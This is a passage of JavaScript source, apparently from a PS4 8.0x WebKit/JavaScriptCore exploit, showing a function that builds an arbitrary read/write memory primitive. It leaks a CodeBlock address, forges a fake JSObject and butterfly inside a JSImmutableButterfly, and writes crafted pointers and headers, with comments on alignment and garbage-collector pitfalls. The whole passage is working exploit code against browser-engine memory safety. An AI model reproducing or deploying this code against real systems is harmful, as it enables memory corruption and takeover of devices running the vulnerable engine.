(reader, view2, pop)
| 657 | } |
| 658 | |
| 659 | async function make_arw(reader, view2, pop) { |
| 660 | const rdr = reader; |
| 661 | |
| 662 | // we have to align the fake object to atomSize (16) else the process |
| 663 | // crashes. we don't know why |
| 664 | // |
| 665 | // since cells (GC memory chunks) are always aligned to atomSize, there |
| 666 | // might be code that's assuming that all GC pointers are aligned |
| 667 | // |
| 668 | // see atomSize from WebKit/Source/JavaScriptCore/heap/MarkedBlock.h at |
| 669 | // PS4 8.0x |
| 670 | const fakeobj_off = 0x20; |
| 671 | const fakebt_base = fakeobj_off + off.size_jsobj; |
| 672 | // sizeof JSC::IndexingHeader |
| 673 | const indexingHeader_size = 8; |
| 674 | // sizeof JSC::ArrayStorage |
| 675 | const arrayStorage_size = 0x18; |
| 676 | // there's only the .raw property |
| 677 | const propertyStorage = 8; |
| 678 | const fakebt_off = fakebt_base + indexingHeader_size + propertyStorage; |
| 679 | |
| 680 | log("STAGE: leak CodeBlock"); |
| 681 | // has too be greater than 0x10. the size of JSImmutableButterfly |
| 682 | const bt_size = 0x10 + fakebt_off + arrayStorage_size; |
| 683 | const [func, bt_addr, strs_addr] = await leak_code_block(rdr, bt_size); |
| 684 | |
| 685 | const view = rdr.rstr_view; |
| 686 | const view_p = rdr.m_data.sub(off.strimpl_inline_str); |
| 687 | const view_save = new Uint8Array(view); |
| 688 | |
| 689 | view.fill(0); |
| 690 | make_ssv_data(view2, view, view_p, bt_addr, bt_size); |
| 691 | |
| 692 | const bt = new BufferView(pop.state); |
| 693 | view.set(view_save); |
| 694 | |
| 695 | log("ArrayBuffer pointing to JSImmutableButterfly:"); |
| 696 | for (let i = 0; i < bt.byteLength; i += 8) { |
| 697 | log(`${bt.read64(i)} | ${hex(i)}`); |
| 698 | } |
| 699 | |
| 700 | // the immutable butterfly's indexing type is ArrayWithInt32 so |
| 701 | // JSImmutableButterfly::visitChildren() won't ask the GC to scan its slots |
| 702 | // for JSObjects to recursively visit. this means that we can write |
| 703 | // anything to the the butterfly's data area without fear of a GC crash |
| 704 | |
| 705 | const val_true = 7; // JSValue of "true" |
| 706 | const strs_cell = rdr.read64(strs_addr); |
| 707 | |
| 708 | bt.write64(fakeobj_off, strs_cell); |
| 709 | bt.write64(fakeobj_off + off.js_butterfly, bt_addr.add(fakebt_off)); |
| 710 | |
| 711 | // since .raw is the first ever created property, it's just besides the |
| 712 | // indexing header |
| 713 | bt.write64(fakebt_off - 0x10, val_true); |
| 714 | // indexing header's publicLength and vectorLength |
| 715 | bt.write32(fakebt_off - 8, 1); |
| 716 | bt.write32(fakebt_off - 8 + 4, 1); |
no test coverage detected